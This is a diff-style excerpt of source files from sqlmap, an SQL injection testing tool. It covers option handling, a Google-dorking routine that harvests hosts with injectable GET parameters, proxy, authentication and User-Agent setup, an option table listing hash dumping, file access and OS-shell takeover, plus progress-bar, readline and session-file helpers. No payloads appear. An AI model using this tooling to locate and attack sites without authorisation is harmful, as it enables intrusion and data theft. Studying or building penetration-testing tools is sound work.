Google dorking then requests to Google the search parameter, parses
|
||||
the results and save the testable hosts into the knowledge base.
|
||||
"""
|
||||
|
||||
global proxyHandler
|
||||
|
||||
if not conf.googleDork:
|
||||
return
|
||||
|
||||
debugMsg = "initializing Google dorking requests"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
logMsg = "first request to Google to get the session cookie"
|
||||
logger.info(logMsg)
|
||||
|
||||
googleObj = Google(proxyHandler)
|
||||
googleObj.getCookie()
|
||||
|
||||
matches = googleObj.search(conf.googleDork)
|
||||
|
||||
if not matches:
|
||||
errMsg = "unable to find results for your "
|
||||
errMsg += "Google dork expression"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
kb.targetUrls = googleObj.getTargetUrls()
|
||||
|
||||
if kb.targetUrls:
|
||||
logMsg = "sqlmap got %d results for your " % len(matches)
|
||||
logMsg += "Google dork expression, "
|
||||
|
||||
if len(matches) == len(kb.targetUrls):
|
||||
logMsg += "all "
|
||||
else:
|
||||
logMsg += "%d " % len(kb.targetUrls)
|
||||
|
||||
logMsg += "of them are testable hosts"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
errMsg = "sqlmap got %d results " % len(matches)
|
||||
errMsg += "for your Google dork expression, but none of them "
|
||||
errMsg += "have GET parameters to test for SQL injection"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setRemoteDBMS():
|
||||
"""
|
||||
Checks and set the back-end DBMS option.
|
||||
"""
|
||||
|
||||
if not conf.dbms:
|
||||
return
|
||||
|
||||
debugMsg = "forcing back-end DBMS to user defined value"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.dbms = conf.dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
conf.dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
|
||||
if conf.dbms not in SUPPORTED_DBMS:
|
||||
errMsg = "you provided an unsupported back-end database management "
|
||||
errMsg += "system. The supported DBMS are MySQL, PostgreSQL, "
|
||||
errMsg += "Microsoft SQL Server and Oracle. If you do not know "
|
||||
errMsg += "the back-end DBMS, do not provide it and sqlmap will "
|
||||
errMsg += "fingerprint it for you."
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
|
||||
def __setThreads():
|
||||
if conf.threads <= 0:
|
||||
conf.threads = 1
|
||||
|
||||
|
||||
def __setHTTPProxy():
|
||||
"""
|
||||
Check and set the HTTP proxy to pass by all HTTP requests.
|
||||
"""
|
||||
|
||||
global proxyHandler
|
||||
|
||||
if not conf.proxy:
|
||||
return
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
__proxySplit = urlparse.urlsplit(conf.proxy)
|
||||
__hostnamePort = __proxySplit[1].split(":")
|
||||
|
||||
__scheme = __proxySplit[0]
|
||||
__hostname = __hostnamePort[0]
|
||||
__port = None
|
||||
|
||||
if len(__hostnamePort) == 2:
|
||||
__port = int(__hostnamePort[1])
|
||||
|
||||
if not __scheme or not __hostname or not __port:
|
||||
errMsg = "proxy value must be in format 'http://url:port'"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
__proxyString = "%s:%d" % (__hostname, __port)
|
||||
|
||||
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
|
||||
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
|
||||
# can't be tunneled over an HTTP proxy natively by Python urllib2
|
||||
# standard library
|
||||
if conf.scheme == "https":
|
||||
proxyHandler = ProxyHTTPSHandler(__proxyString)
|
||||
else:
|
||||
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
||||
|
||||
|
||||
def __setHTTPAuthentication():
|
||||
"""
|
||||
Check and set the HTTP authentication method (Basic or Digest),
|
||||
username and password to perform HTTP requests with.
|
||||
"""
|
||||
|
||||
global authHandler
|
||||
|
||||
if not conf.aType and not conf.aCred:
|
||||
return
|
||||
|
||||
elif conf.aType and not conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication type, but "
|
||||
errMsg += "did not provide the credentials"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
elif not conf.aType and conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication credentials, "
|
||||
errMsg += "but did not provide the type"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
parseTargetUrl()
|
||||
|
||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
aTypeLower = conf.aType.lower()
|
||||
|
||||
if aTypeLower not in ( "basic", "digest" ):
|
||||
errMsg = "HTTP Authentication type value must be "
|
||||
errMsg += "Basic or Digest"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||
|
||||
if not aCredRegExp:
|
||||
errMsg = "HTTP Authentication credentials value must be "
|
||||
errMsg += "in format username:password"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
authUsername = aCredRegExp.group(1)
|
||||
authPassword = aCredRegExp.group(2)
|
||||
|
||||
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
||||
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
||||
|
||||
if aTypeLower == "basic":
|
||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||
elif aTypeLower == "digest":
|
||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||
|
||||
|
||||
def __setHTTPMethod():
|
||||
"""
|
||||
Check and set the HTTP method to perform HTTP requests through.
|
||||
"""
|
||||
|
||||
if conf.method:
|
||||
debugMsg = "setting the HTTP method to perform HTTP requests through"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.method = conf.method.upper()
|
||||
|
||||
if conf.method not in ("GET", "POST"):
|
||||
warnMsg = "'%s' " % conf.method
|
||||
warnMsg += "is an unsupported HTTP method, "
|
||||
warnMsg += "setting to default method, GET"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.method = "GET"
|
||||
else:
|
||||
conf.method = "GET"
|
||||
|
||||
|
||||
def __defaultHTTPUserAgent():
|
||||
"""
|
||||
@return: default sqlmap HTTP User-Agent header
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return "%s (%s)" % (VERSION_STRING, SITE)
|
||||
|
||||
|
||||
def __setHTTPUserAgent():
|
||||
"""
|
||||
Set the HTTP User-Agent header.
|
||||
Depending on the user options it can be:
|
||||
|
||||
* The default sqlmap string
|
||||
* A default value read as user option
|
||||
* A random value read from a list of User-Agent headers from a
|
||||
file choosed as user option
|
||||
"""
|
||||
|
||||
if conf.agent:
|
||||
debugMsg = "setting the HTTP User-Agent header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("User-Agent", conf.agent))
|
||||
return
|
||||
|
||||
if not conf.userAgentsFile:
|
||||
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
|
||||
return
|
||||
|
||||
debugMsg = "fetching random HTTP User-Agent header from "
|
||||
debugMsg += "file '%s'" % conf.userAgentsFile
|
||||
logger.debug(debugMsg)
|
||||
|
||||
try:
|
||||
fd = open(conf.userAgentsFile)
|
||||
except IOError:
|
||||
warnMsg = "unable to read HTTP User-Agent header "
|
||||
warnMsg += "file '%s'" % conf.userAgentsFile
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
|
||||
|
||||
return
|
||||
|
||||
__count = 0
|
||||
__userAgents = []
|
||||
|
||||
while True:
|
||||
line = fd.readline()
|
||||
|
||||
if not line:
|
||||
break
|
||||
|
||||
__userAgents.append(line)
|
||||
__count += 1
|
||||
|
||||
fd.close()
|
||||
|
||||
if __count == 1:
|
||||
__userAgent = __userAgents[0]
|
||||
else:
|
||||
__userAgent = __userAgents[randomRange(stop=__count)]
|
||||
|
||||
__userAgent = sanitizeStr(__userAgent)
|
||||
conf.httpHeaders.append(("User-Agent", __userAgent))
|
||||
|
||||
logMsg = "fetched random HTTP User-Agent header from "
|
||||
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
||||
logger.info(logMsg)
|
||||
|
||||
|
||||
def __setHTTPReferer():
|
||||
"""
|
||||
Set the HTTP Referer
|
||||
"""
|
||||
|
||||
if conf.referer:
|
||||
debugMsg = "setting the HTTP Referer header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("Referer", conf.referer))
|
||||
|
||||
|
||||
def __setHTTPCookies():
|
||||
"""
|
||||
Set the HTTP Cookie header
|
||||
"""
|
||||
|
||||
if conf.cookie:
|
||||
debugMsg = "setting the HTTP Cookie header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||
|
||||
|
||||
def __cleanupOptions():
|
||||
"""
|
||||
Cleanup configuration attributes.
|
||||
"""
|
||||
|
||||
debugMsg = "cleaning up configuration parameters"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if conf.testParameter:
|
||||
conf.testParameter = conf.testParameter.replace(" ", "")
|
||||
conf.testParameter = conf.testParameter.split(",")
|
||||
else:
|
||||
conf.testParameter = []
|
||||
|
||||
if conf.db:
|
||||
conf.db = conf.db.replace(" ", "")
|
||||
|
||||
if conf.tbl:
|
||||
conf.tbl = conf.tbl.replace(" ", "")
|
||||
|
||||
if conf.col:
|
||||
conf.col = conf.col.replace(" ", "")
|
||||
|
||||
if conf.user:
|
||||
conf.user = conf.user.replace(" ", "")
|
||||
|
||||
|
||||
def __setConfAttributes():
|
||||
"""
|
||||
This function set some needed attributes into the configuration
|
||||
singleton.
|
||||
"""
|
||||
|
||||
debugMsg = "initializing the configuration"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = None
|
||||
conf.dbmsHandler = None
|
||||
conf.dumpPath = None
|
||||
conf.httpHeaders = []
|
||||
conf.hostname = None
|
||||
conf.loggedToOut = None
|
||||
conf.outputPath = None
|
||||
conf.paramDict = {}
|
||||
conf.parameters = {}
|
||||
conf.path = None
|
||||
conf.port = None
|
||||
conf.scheme = None
|
||||
conf.sessionFP = None
|
||||
conf.start = True
|
||||
|
||||
|
||||
def __setKnowledgeBaseAttributes():
|
||||
"""
|
||||
This function set some needed attributes into the knowledge base
|
||||
singleton.
|
||||
"""
|
||||
|
||||
debugMsg = "initializing the knowledge base"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
kb.absFilePaths = set()
|
||||
kb.defaultResult = None
|
||||
kb.docRoot = None
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
kb.dbmsVersion = None
|
||||
kb.htmlFp = []
|
||||
kb.injParameter = None
|
||||
kb.injPlace = None
|
||||
kb.injType = None
|
||||
kb.parenthesis = None
|
||||
kb.resumedQueries = {}
|
||||
kb.targetUrls = set()
|
||||
kb.unionComment = ""
|
||||
kb.unionCount = None
|
||||
kb.unionPosition = None
|
||||
|
||||
|
||||
def __saveCmdline():
|
||||
"""
|
||||
Saves the command line options on a sqlmap configuration INI file
|
||||
format.
|
||||
"""
|
||||
|
||||
if not conf.saveCmdline:
|
||||
return
|
||||
|
||||
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
userOpts = {}
|
||||
|
||||
for family in optDict.keys():
|
||||
userOpts[family] = []
|
||||
|
||||
for option, value in conf.items():
|
||||
for family, optionData in optDict.items():
|
||||
if option in optionData:
|
||||
userOpts[family].append((option, value, optionData[option]))
|
||||
|
||||
confFP = open(paths.SQLMAP_CONFIG, "w")
|
||||
|
||||
for family, optionData in userOpts.items():
|
||||
confFP.write("[%s]\n" % family)
|
||||
|
||||
optionData.sort()
|
||||
|
||||
for option, value, datatype in optionData:
|
||||
if value == None:
|
||||
if datatype == "boolean":
|
||||
value = "False"
|
||||
elif datatype == "integer":
|
||||
value = "1"
|
||||
elif datatype == "string":
|
||||
value = ""
|
||||
|
||||
confFP.write("%s = %s\n" % (option, value))
|
||||
|
||||
confFP.write("\n")
|
||||
|
||||
confFP.flush()
|
||||
confFP.close()
|
||||
|
||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __setVerbosity():
|
||||
"""
|
||||
This function set the verbosity of sqlmap output messages.
|
||||
"""
|
||||
|
||||
if not conf.verbose:
|
||||
conf.verbose = 0
|
||||
return
|
||||
|
||||
conf.verbose = int(conf.verbose)
|
||||
|
||||
if conf.verbose <= 1:
|
||||
logger.setLevel(logging.INFO)
|
||||
elif conf.verbose > 1 and conf.eta:
|
||||
conf.verbose = 1
|
||||
logger.setLevel(logging.INFO)
|
||||
elif conf.verbose == 2:
|
||||
logger.setLevel(logging.DEBUG)
|
||||
elif conf.verbose == 3:
|
||||
logger.setLevel(9)
|
||||
elif conf.verbose >= 4:
|
||||
logger.setLevel(8)
|
||||
|
||||
|
||||
def __mergeOptions(inputOptions):
|
||||
"""
|
||||
Merge command line options with configuration file options.
|
||||
|
||||
@param inputOptions: optparse object with command line options.
|
||||
@type inputOptions: C{instance}
|
||||
"""
|
||||
|
||||
if inputOptions.configFile:
|
||||
configFileParser(inputOptions.configFile)
|
||||
|
||||
for key, value in inputOptions.__dict__.items():
|
||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
||||
conf[key] = value
|
||||
|
||||
|
||||
def init(inputOptions=advancedDict()):
|
||||
"""
|
||||
Set attributes into both configuration and knowledge base singletons
|
||||
based upon command line and configuration file options.
|
||||
"""
|
||||
|
||||
__mergeOptions(inputOptions)
|
||||
__setVerbosity()
|
||||
__saveCmdline()
|
||||
__setConfAttributes()
|
||||
__setKnowledgeBaseAttributes()
|
||||
__cleanupOptions()
|
||||
__setHTTPCookies()
|
||||
__setHTTPReferer()
|
||||
__setHTTPUserAgent()
|
||||
__setHTTPMethod()
|
||||
__setHTTPAuthentication()
|
||||
__setHTTPProxy()
|
||||
__setThreads()
|
||||
__setRemoteDBMS()
|
||||
__setGoogleDorking()
|
||||
__urllib2Opener()
|
||||
|
||||
update()
|
||||
queriesParser()
|
||||
95
lib/core/optiondict.py
Normal file
95
lib/core/optiondict.py
Normal file
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: optiondict.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
optDict = {
|
||||
# Family: { "parameter_name": "parameter_datatype",
|
||||
"Request": {
|
||||
"url": "string",
|
||||
"googleDork": "string",
|
||||
"testParameter": "string",
|
||||
"method": "string",
|
||||
"data": "string",
|
||||
"cookie": "string",
|
||||
"referer": "string",
|
||||
"agent": "string",
|
||||
"userAgentsFile": "string",
|
||||
"aType": "string",
|
||||
"aCred": "string",
|
||||
"proxy": "string",
|
||||
"threads": "integer",
|
||||
},
|
||||
|
||||
"Injection": {
|
||||
"string": "string",
|
||||
"dbms": "string",
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
"extensiveFp": "boolean",
|
||||
},
|
||||
|
||||
"Enumeration": {
|
||||
"getBanner": "boolean",
|
||||
"getCurrentUser": "boolean",
|
||||
"getCurrentDb": "boolean",
|
||||
"getUsers": "boolean",
|
||||
"getPasswordHashes": "boolean",
|
||||
"getPrivileges": "boolean",
|
||||
"getDbs": "boolean",
|
||||
"getTables": "boolean",
|
||||
"getColumns": "boolean",
|
||||
"dumpTable": "boolean",
|
||||
"dumpAll": "boolean",
|
||||
"user": "string",
|
||||
"db": "string",
|
||||
"tbl": "string",
|
||||
"col": "string",
|
||||
"excludeSysDbs": "boolean",
|
||||
"limitStart": "integer",
|
||||
"limitStop": "integer",
|
||||
"query": "string",
|
||||
"sqlShell": "boolean",
|
||||
},
|
||||
|
||||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
"osShell": "boolean",
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
"unionTest": "boolean",
|
||||
"unionUse": "boolean",
|
||||
"eta": "boolean",
|
||||
"verbose": "integer",
|
||||
"updateAll": "boolean",
|
||||
"sessionFile": "string",
|
||||
"batch": "boolean",
|
||||
},
|
||||
}
|
||||
111
lib/core/progress.py
Normal file
111
lib/core/progress.py
Normal file
@@ -0,0 +1,111 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: progress.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
|
||||
|
||||
class ProgressBar:
|
||||
"""
|
||||
This class defines methods to update and draw a progress bar
|
||||
"""
|
||||
|
||||
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
|
||||
self.__progBar = "[]"
|
||||
self.__oldProgBar = ""
|
||||
self.__min = minValue
|
||||
self.__max = maxValue
|
||||
self.__span = maxValue - minValue
|
||||
self.__width = totalWidth
|
||||
self.__amount = 0
|
||||
self.update()
|
||||
|
||||
|
||||
def __convertSeconds(self, value):
|
||||
seconds = value
|
||||
minutes = seconds / 60
|
||||
seconds = seconds - (minutes * 60)
|
||||
|
||||
return "%.2d:%.2d" % (minutes, seconds)
|
||||
|
||||
|
||||
def update(self, newAmount=0):
|
||||
"""
|
||||
This method updates the progress bar
|
||||
"""
|
||||
|
||||
if newAmount < self.__min:
|
||||
newAmount = self.__min
|
||||
elif newAmount > self.__max:
|
||||
newAmount = self.__max
|
||||
|
||||
self.__amount = newAmount
|
||||
|
||||
# Figure out the new percent done, round to an integer
|
||||
diffFromMin = float(self.__amount - self.__min)
|
||||
percentDone = (diffFromMin / float(self.__span)) * 100.0
|
||||
percentDone = round(percentDone)
|
||||
percentDone = int(percentDone)
|
||||
|
||||
# Figure out how many hash bars the percentage should be
|
||||
allFull = self.__width - 2
|
||||
numHashes = (percentDone / 100.0) * allFull
|
||||
numHashes = int(round(numHashes))
|
||||
|
||||
# Build a progress bar with an arrow of equal signs
|
||||
if numHashes == 0:
|
||||
self.__progBar = "[>%s]" % (" " * (allFull - 1))
|
||||
elif numHashes == allFull:
|
||||
self.__progBar = "[%s]" % ("=" * allFull)
|
||||
else:
|
||||
self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1),
|
||||
" " * (allFull - numHashes))
|
||||
|
||||
# Add the percentage at the beginning of the progress bar
|
||||
percentString = str(percentDone) + "%"
|
||||
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
||||
|
||||
|
||||
def draw(self, eta=0):
|
||||
"""
|
||||
This method draws the progress bar if it has changed
|
||||
"""
|
||||
|
||||
if self.__progBar != self.__oldProgBar:
|
||||
self.__oldProgBar = self.__progBar
|
||||
|
||||
if eta and self.__amount < self.__max:
|
||||
dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta))))
|
||||
else:
|
||||
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
||||
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
||||
|
||||
|
||||
def __str__(self):
|
||||
"""
|
||||
This method returns the progress bar string
|
||||
"""
|
||||
|
||||
return str(self.__progBar)
|
||||
94
lib/core/readlineng.py
Normal file
94
lib/core/readlineng.py
Normal file
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: readlineng.py 326 2008-08-27 12:20:15Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
Based on IPython readline library (IPython/rlineimpl.py), imports and
|
||||
provides the "correct" version of readline for the platform.
|
||||
In addition to normal readline stuff, this module provides haveReadline
|
||||
boolean and _outputfile variable used in genutils.
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
try:
|
||||
from readline import *
|
||||
import readline as _rl
|
||||
|
||||
haveReadline = True
|
||||
except ImportError:
|
||||
try:
|
||||
from pyreadline import *
|
||||
import pyreadline as _rl
|
||||
|
||||
haveReadline = True
|
||||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if sys.platform == 'win32' and haveReadline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
except AttributeError:
|
||||
debugMsg = "Failed GetOutputFile when using platform's "
|
||||
debugMsg += "readline library"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
haveReadline = False
|
||||
|
||||
# Test to see if libedit is being used instead of GNU readline.
|
||||
# Thanks to Boyd Waters for this patch.
|
||||
uses_libedit = False
|
||||
|
||||
if sys.platform == 'darwin' and haveReadline:
|
||||
import commands
|
||||
|
||||
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )
|
||||
|
||||
if status == 0 and len(result) > 0:
|
||||
# We are bound to libedit - new in Leopard
|
||||
_rl.parse_and_bind("bind ^I rl_complete")
|
||||
|
||||
debugMsg = "Leopard libedit detected when using platform's "
|
||||
debugMsg += "readline library"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
uses_libedit = True
|
||||
|
||||
|
||||
# the clear_history() function was only introduced in Python 2.4 and is
|
||||
# actually optional in the readline API, so we must explicitly check for its
|
||||
# existence. Some known platforms actually don't have it. This thread:
|
||||
# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
|
||||
# has the original discussion.
|
||||
if haveReadline:
|
||||
try:
|
||||
_rl.clear_history
|
||||
except AttributeError:
|
||||
def clear_history():
|
||||
pass
|
||||
|
||||
_rl.clear_history = clear_history
|
||||
282
lib/core/session.py
Normal file
282
lib/core/session.py
Normal file
@@ -0,0 +1,282 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: session.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
|
||||
def setString():
|
||||
"""
|
||||
Save string to match in session file.
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("String") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||
|
||||
|
||||
def setInjection():
|
||||
"""
|
||||
Save information retrieved about injection place and parameter in the
|
||||
session file.
|
||||
"""
|
||||
|
||||
if kb.injPlace == "User-Agent":
|
||||
kb.injParameter = conf.agent
|
||||
|
||||
condition = (
|
||||
kb.injPlace and kb.injParameter and
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Injection point")
|
||||
or not kb.resumedQueries[conf.url].has_key("Injection parameter")
|
||||
or not kb.resumedQueries[conf.url].has_key("Injection type")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace))
|
||||
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
||||
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
||||
|
||||
|
||||
def setParenthesis(parenthesisCount):
|
||||
"""
|
||||
@param parenthesisCount: number of parenthesis to be set into the
|
||||
knowledge base as fingerprint.
|
||||
@type parenthesisCount: C{int}
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Parenthesis") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount))
|
||||
|
||||
kb.parenthesis = parenthesisCount
|
||||
|
||||
|
||||
def setDbms(dbms):
|
||||
"""
|
||||
@param dbms: database management system to be set into the knowledge
|
||||
base as fingerprint.
|
||||
@type dbms: C{str}
|
||||
"""
|
||||
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("DBMS") ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
|
||||
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
|
||||
kb.dbms = dbms
|
||||
|
||||
|
||||
def setUnion(comment=None, count=None, position=None):
|
||||
"""
|
||||
@param comment: union comment to save in session file
|
||||
@type comment: C{str}
|
||||
|
||||
@param count: union count to save in session file
|
||||
@type count: C{str}
|
||||
|
||||
@param position: union position to save in session file
|
||||
@type position: C{str}
|
||||
"""
|
||||
|
||||
if comment and count:
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union comment")
|
